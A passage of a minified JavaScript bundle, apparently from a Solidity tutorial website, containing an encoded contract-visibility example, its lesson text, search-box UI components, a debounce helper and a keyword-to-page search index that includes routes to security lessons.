m5hbCBmdW5jdGlvbnMgY2FuIG9ubHkgYmUgY2FsbGVkCiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIGV4dGVybmFsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiZXh0ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIHdpbGwgbm90IGNvbXBpbGUgc2luY2Ugd2UncmUgdHJ5aW5nIHRvIGNhbGwKICAgIC8vIGFuIGV4dGVybmFsIGZ1bmN0aW9uIGhlcmUuCiAgICAvLyBmdW5jdGlvbiB0ZXN0RXh0ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBleHRlcm5hbEZ1bmMoKTsKICAgIC8vIH0KCiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMKICAgIHN0cmluZyBwcml2YXRlIHByaXZhdGVWYXIgPSAibXkgcHJpdmF0ZSB2YXJpYWJsZSI7CiAgICBzdHJpbmcgaW50ZXJuYWwgaW50ZXJuYWxWYXIgPSAibXkgaW50ZXJuYWwgdmFyaWFibGUiOwogICAgc3RyaW5nIHB1YmxpYyBwdWJsaWNWYXIgPSAibXkgcHVibGljIHZhcmlhYmxlIjsKICAgIC8vIFN0YXRlIHZhcmlhYmxlcyBjYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],z2=`

                    Functions and state variables have to declare whether they are accessible by other contracts.

                    Functions can be declared as

                    • public - any contract and account can call
                      • @@ -10946,4 +11508,4 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return internalFunc(); } } -`,F2=({prev:s,next:a})=>r.jsx(u,{version:R2,title:X2,description:v2,html:H2,prev:s,next:a,codes:N2}),K2=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),S2="_component_efeb7_1",M2="_icon_efeb7_8",x2="_input_efeb7_12",de={component:S2,icon:M2,input:x2},J2=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:de.component,children:[r.jsx(K2,{size:18,className:de.icon}),r.jsx("input",{className:de.input,placeholder:"Search",value:s,onChange:n})]})},z2=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 113 113",xmlSpace:"preserve",width:s,height:s,className:a,children:[r.jsx("circle",{cx:56.5,cy:56.5,r:56.5,fill:"#453dff",stroke:"none"}),r.jsx("path",{fill:"#fff",stroke:"none",d:"M68.476 46.383c.454.796 1.36 1.82 2.155 1.82 4.31.227 8.62.113 13.157.113-.567-3.98-2.042-7.392-4.31-10.462-1.361-1.706-1.701-2.957-.34-4.89 1.36-1.82 2.381-4.094 3.63-6.255-3.97-2.274-7.827-4.435-11.797-6.709-1.36 2.274-2.609 4.321-3.743 6.482-.68 1.365-1.36 1.706-2.949 1.478-3.63-.455-7.259-.91-10.888-.682-10.889.682-19.85 7.96-22.798 18.423-3.29 11.94-1.702 22.97 6.805 32.523-1.588 2.843-3.29 5.8-4.99 8.87 4.083 2.275 7.826 4.55 11.795 6.824 1.588-2.73 3.063-5.231 4.424-7.733.68-1.251 1.588-1.365 2.949-1.479 4.65 0 9.3.228 13.724-.682 9.3-1.82 17.354-10.803 18.375-20.128-4.084 0-7.94.113-11.91 0-1.588 0-2.609.455-3.403 1.933-4.537 7.62-15.312 8.87-21.21 2.502-5.557-5.914-5.557-18.764.114-24.677 6.011-6.141 16.56-4.777 21.21 2.729z"})]});var E2="Expected a function",Ro=NaN,U2="[object Symbol]",T2=/^\s+|\s+$/g,Q2=/^[-+]0x[0-9a-f]+$/i,D2=/^0b[01]+$/i,L2=/^0o[0-7]+$/i,_2=parseInt,O2=typeof dl=="object"&&dl&&dl.Object===Object&&dl,P2=typeof self=="object"&&self&&self.Object===Object&&self,$2=O2||P2||Function("return this")(),q2=Object.prototype,sG=q2.toString,aG=Math.max,nG=Math.min,Ie=function(){return $2.Date.now()};function lG(s,a,n){var l,p,e,c,t,o,i=0,d=!1,I=!1,j=!0;if(typeof s!="function")throw new TypeError(E2);a=Xo(a)||0,ic(n)&&(d=!!n.leading,I="maxWait"in n,e=I?aG(Xo(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function y(k){var B=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,B),c}function m(k){return i=k,t=setTimeout(h,a),d?y(k):c}function b(k){var B=k-o,Y=k-i,x=a-B;return I?nG(x,e-Y):x}function G(k){var B=k-o,Y=k-i;return o===void 0||B>=a||B<0||I&&Y>=e}function h(){var k=Ie();if(G(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?y(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function A(){return t===void 0?c:g(Ie())}function Z(){var k=Ie(),B=G(k);if(l=arguments,p=this,o=k,B){if(t===void 0)return m(o);if(I)return t=setTimeout(h,a),y(o)}return t===void 0&&(t=setTimeout(h,a)),c}return Z.cancel=C,Z.flush=A,Z}function ic(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function pG(s){return!!s&&typeof s=="object"}function eG(s){return typeof s=="symbol"||pG(s)&&sG.call(s)==U2}function Xo(s){if(typeof s=="number")return s;if(eG(s))return Ro;if(ic(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=ic(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(T2,"");var n=D2.test(s);return n||L2.test(s)?_2(s.slice(2),n?2:8):Q2.test(s)?Ro:+s}var cG=lG;const tG=Ko(cG),oG={leading:!1,trailing:!0};function rG(s,a,n){return W.useCallback(tG(s,a,oG),n)}function iG(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const dG=["/visibility"],IG=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],CG=["/visibility"],jG=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],uG=["/view-and-pure-functions"],yG=["/view-and-pure-functions"],AG=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/assembly-variable","/array"],mG=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],bG=["/variables"],wG=["/variables"],kG=["/variables","/state-variables","/shadowing-inherited-state-variables"],ZG=["/variables","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],WG=["/unchecked-math","/gas-golf","/gas"],GG=["/unchecked-math"],BG=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],VG=["/unchecked-math","/hacks/overflow"],fG=["/unchecked-math","/hacks/overflow"],YG=["/try-catch","/error","/assembly-error"],RG=["/try-catch","/error"],XG=["/transient-storage"],vG=["/transient-storage","/hacks/accessing-private-data","/data-locations","/app/write-to-any-slot"],NG=["/tests/echidna"],HG=["/tests/echidna"],FG=["/super","/calling-contract"],KG=["/super"],SG=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],MG=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],xG=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],JG=["/structs"],zG=["/structs"],EG=["/structs","/primitives"],UG=["/structs","/primitives"],TG=["/state-variables"],QG=["/state-variables"],DG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],LG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],_G=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],OG=["/signature"],PG=["/signature"],$G=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],qG=["/signature"],sB=["/signature"],aB=["/shadowing-inherited-state-variables"],nB=["/shadowing-inherited-state-variables"],lB=["/sending-ether"],pB=["/sending-ether","/sending-ether","/payable","/fallback"],eB=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],cB=["/sending-ether","/payable","/fallback","/app/ether-wallet"],tB=["/sending-ether","/fallback","/app/gasless-token-transfer"],oB=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],rB=["/sending-ether","/fallback"],iB=["/sending-ether","/fallback"],gB=["/sending-ether","/payable","/fallback"],hB=["/primitives"],dB=["/primitives"],IB=["/primitives"],CB=["/primitives"],jB=["/primitives"],uB=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],yB=["/primitives"],AB=["/primitives"],mB=["/new-contract","/hacks/deploy-different-contracts-same-address"],bB=["/new-contract"],wB=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],kB=["/new-contract","/hacks/deploy-different-contracts-same-address"],ZB=["/mapping","/app/iterable-mapping"],WB=["/loop","/assembly-loop"],GB=["/loop"],BB=["/library"],VB=["/interface"],fB=["/inheritance"],YB=["/inheritance"],RB=["/inheritance"],XB=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],vB=["/immutable","/constants"],NB=["/immutable"],HB=["/immutable"],FB=["/if-else"],KB=["/if-else"],SB=["/if-else"],MB=["/hello-world"],xB=["/hello-world"],JB=["/hashing"],zB=["/hashing"],EB=["/hashing"],UB=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],TB=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],QB=["/hacks/weth-permit"],DB=["/hacks/weth-permit","/app/gasless-token-transfer"],LB=["/hacks/vault-inflation"],_B=["/hacks/vault-inflation"],OB=["/hacks/vault-inflation","/defi/vault"],PB=["/hacks/signature-replay"],$B=["/hacks/self-destruct"],qB=["/hacks/randomness"],sV=["/hacks/randomness"],aV=["/hacks/randomness"],nV=["/hacks/randomness"],lV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],pV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],eV=["/hacks/phishing-with-tx-origin"],cV=["/hacks/overflow"],tV=["/hacks/honeypot"],oV=["/hacks/hiding-malicious-code-with-external-contract"],rV=["/hacks/hiding-malicious-code-with-external-contract"],iV=["/hacks/hiding-malicious-code-with-external-contract"],gV=["/hacks/hiding-malicious-code-with-external-contract"],hV=["/hacks/front-running"],dV=["/hacks/front-running"],IV=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],CV=["/hacks/deploy-different-contracts-same-address"],jV=["/hacks/deploy-different-contracts-same-address"],uV=["/hacks/denial-of-service"],yV=["/hacks/denial-of-service"],AV=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],mV=["/hacks/contract-size"],bV=["/hacks/contract-size"],wV=["/hacks/contract-size"],kV=["/hacks/contract-size"],ZV=["/hacks/block-timestamp-manipulation"],WV=["/hacks/accessing-private-data"],GV=["/hacks/accessing-private-data"],BV=["/gas-golf"],VV=["/function-selector"],fV=["/function-selector"],YV=["/function-modifier"],RV=["/function-modifier"],XV=["/function-modifier"],vV=["/first-app"],NV=["/first-app"],HV=["/events"],FV=["/events"],KV=["/ether-units"],SV=["/ether-units"],MV=["/error"],xV=["/error","/assembly-error"],JV=["/error"],zV=["/enum"],EV=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],UV=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],TV=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],QV=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],DV=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],LV=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],_V=["/defi/uniswap-v3-flash-swap"],OV=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],PV=["/defi/uniswap-v3-flash"],$V=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],qV=["/defi/uniswap-v2-optimal-one-sided-supply"],sf=["/defi/uniswap-v2-optimal-one-sided-supply"],af=["/defi/uniswap-v2-optimal-one-sided-supply"],nf=["/defi/uniswap-v2-optimal-one-sided-supply"],lf=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],pf=["/defi/uniswap-v2-add-remove-liquidity"],ef=["/defi/staking-rewards","/defi/discrete-staking-rewards"],cf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],tf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],of=["/defi/stable-swap-amm"],rf=["/defi/stable-swap-amm"],gf=["/defi/discrete-staking-rewards"],hf=["/defi/dai-proxy"],df=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],If=["/defi/constant-sum-amm"],Cf=["/defi/constant-product-amm"],jf=["/defi/chainlink-price-oracle"],uf=["/defi/chainlink-price-oracle"],yf=["/defi/chainlink-price-oracle"],Af=["/defi/chainlink-price-oracle"],mf=["/data-locations"],bf=["/data-locations"],wf=["/data-locations"],kf=["/data-locations"],Zf=["/constructor"],Wf=["/constructor"],Gf=["/calling-contract"],Bf=["/bitwise"],Vf=["/bitwise"],ff=["/bitwise"],Yf=["/bitwise"],Rf=["/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],Xf=["/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],vf=["/assembly-math"],Nf=["/array"],Hf=["/array"],Ff=["/app/write-to-any-slot"],Kf=["/app/write-to-any-slot","/app/deploy-any-contract"],Sf=["/app/write-to-any-slot"],Mf=["/app/upgradeable-proxy"],xf=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],Jf=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],zf=["/app/time-lock"],Ef=["/app/time-lock"],Uf=["/app/simple-bytecode-contract"],Tf=["/app/simple-bytecode-contract"],Qf=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],Df=["/app/multi-sig-wallet"],Lf=["/app/multi-sig-wallet","/app/ether-wallet"],_f=["/app/multi-call"],Of=["/app/minimal-proxy"],Pf=["/app/merkle-tree"],$f=["/app/merkle-tree"],qf=["/app/iterable-mapping"],s1=["/app/gasless-token-transfer"],a1=["/app/gasless-token-transfer","/app/erc20"],n1=["/app/gasless-token-transfer"],l1=["/app/erc721"],p1=["/app/erc721"],e1=["/app/erc721","/app/erc1155"],c1=["/app/erc20"],t1=["/app/erc20"],o1=["/app/erc1155"],r1=["/app/erc1155"],i1=["/app/english-auction"],g1=["/app/english-auction","/app/dutch-auction"],h1=["/app/english-auction","/app/dutch-auction"],d1=["/app/dutch-auction"],I1=["/app/crowd-fund"],C1=["/app/crowd-fund"],j1=["/app/crowd-fund"],u1=["/app/create2"],y1=["/app/assembly-bin-exp"],A1=["/app/assembly-bin-exp"],m1=["/abi-encode","/abi-decode"],b1=["/abi-encode"],w1=["/abi-encode","/abi-decode"],k1=["/abi-encode"],Z1=["/abi-encode"],W1=["/abi-encode"],G1=["/abi-decode"],vo={visibility:dG,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:IG,internal:CG,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:jG,view:uG,pure:yG,variable:AG,variables:mG,local:bG,global:wG,state:kG,data:ZG,gas:WG,unchecked:GG,math:BG,overflow:VG,underflow:fG,try:["/try-catch"],catch:["/try-catch"],error:YG,errors:RG,transient:XG,storage:vG,test:NG,echidna:HG,calling:FG,parent:KG,contract:SG,contracts:MG,inheritance:xG,super:["/super","/inheritance"],struct:JG,structs:zG,type:EG,types:UG,reading:TG,writing:QG,app:DG,application:LG,cryptography:_G,verify:OG,verifying:PG,signature:$G,signatures:qG,ecrecover:sB,shadow:aB,shadowing:nB,sending:lB,send:pB,ether:eB,eth:cB,transfer:tB,call:oB,fallback:rB,receive:iB,payable:gB,primitive:hB,primitives:dB,boolean:IB,uint256:CB,int256:jB,address:uB,uint:yB,int:AB,new:["/new-contract","/new-contract"],create:mB,creates:bB,create2:wB,salt:kB,mapping:ZB,for:["/loop","/assembly-loop"],loop:WB,loops:GB,while:["/loop","/assembly-loop"],do:["/loop"],library:BB,interface:["/interface"],interfaces:VB,override:fB,virtual:YB,is:RB,import:["/import","/enum"],constant:XB,constants:vB,immutable:NB,immutables:HB,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:FB,statement:KB,statements:SB,hello:MB,world:xB,hash:JB,hashing:zB,keccak256:EB,hack:UB,security:TB,weth:QB,permit:DB,inflation:LB,erc4626:_B,vault:OB,replay:PB,selfdestruct:$B,"re-entrancy":["/hacks/re-entrancy"],source:qB,random:sV,randomness:aV,blockhash:nV,block:lV,timestamp:pV,phishing:eV,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:cV,honeypot:tV,hide:oV,hiding:rV,malicious:iV,code:gV,front:hV,running:dV,deploy:IV,different:CV,same:jV,denial:uV,service:yV,delegatecall:AV,bypass:mV,size:bV,check:wV,extcodesize:kV,manipulation:ZV,access:WV,accessing:GV,golf:BV,selector:VV,selectors:fV,modifier:YV,modifiers:RV,_:XV,first:vV,counter:NV,event:HV,events:FV,wei:KV,units:SV,require:MV,revert:xV,assert:JV,enum:["/enum"],imports:zV,defi:EV,uniswap:UV,v3:TV,swap:QV,amm:DV,liquidity:LV,arbitrage:_V,flash:OV,loan:PV,v2:$V,optimal:qV,one:sf,sided:af,supply:nf,add:lf,remove:pf,staking:ef,reward:cf,rewards:tf,curve:of,stable:rf,discrete:gf,dai:hf,proxy:df,sum:If,product:Cf,chainlink:jf,price:uf,oracle:yf,oracles:Af,location:mf,locations:bf,memory:wf,calldata:kf,constructor:Zf,constructors:Wf,other:Gf,bitwise:Bf,most:Vf,significant:ff,bit:Yf,assembly:Rf,yul:Xf,mul:vf,switch:["/assembly-if"],array:Nf,arrays:Hf,write:Ff,any:Kf,slot:Sf,upgradeable:Mf,"uni-directional":["/app/uni-directional-payment-channel"],payment:xf,channel:Jf,time:zf,lock:Ef,simple:Uf,bytecode:Tf,multi:Qf,sig:Df,wallet:Lf,staticcall:_f,minimal:Of,merkle:Pf,tree:$f,iterable:qf,gasless:s1,token:a1,ERC20:n1,erc721:l1,ierc721:p1,nft:e1,erc20:c1,ierc20:t1,erc1155:o1,ierc1155:r1,english:i1,auction:g1,auctions:h1,dutch:d1,crowd:I1,fund:C1,funding:j1,precompute:u1,"bi-directional":["/app/bi-directional-payment-channel"],binary:y1,exponentiation:A1,abi:m1,encode:b1,bytes:w1,encodeWithSelector:k1,encodeWithSignature:Z1,encodeCall:W1,decode:G1},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},jg=[];for(const s of Object.keys(No))jg.push(...No[s]);const ug={};for(const s of 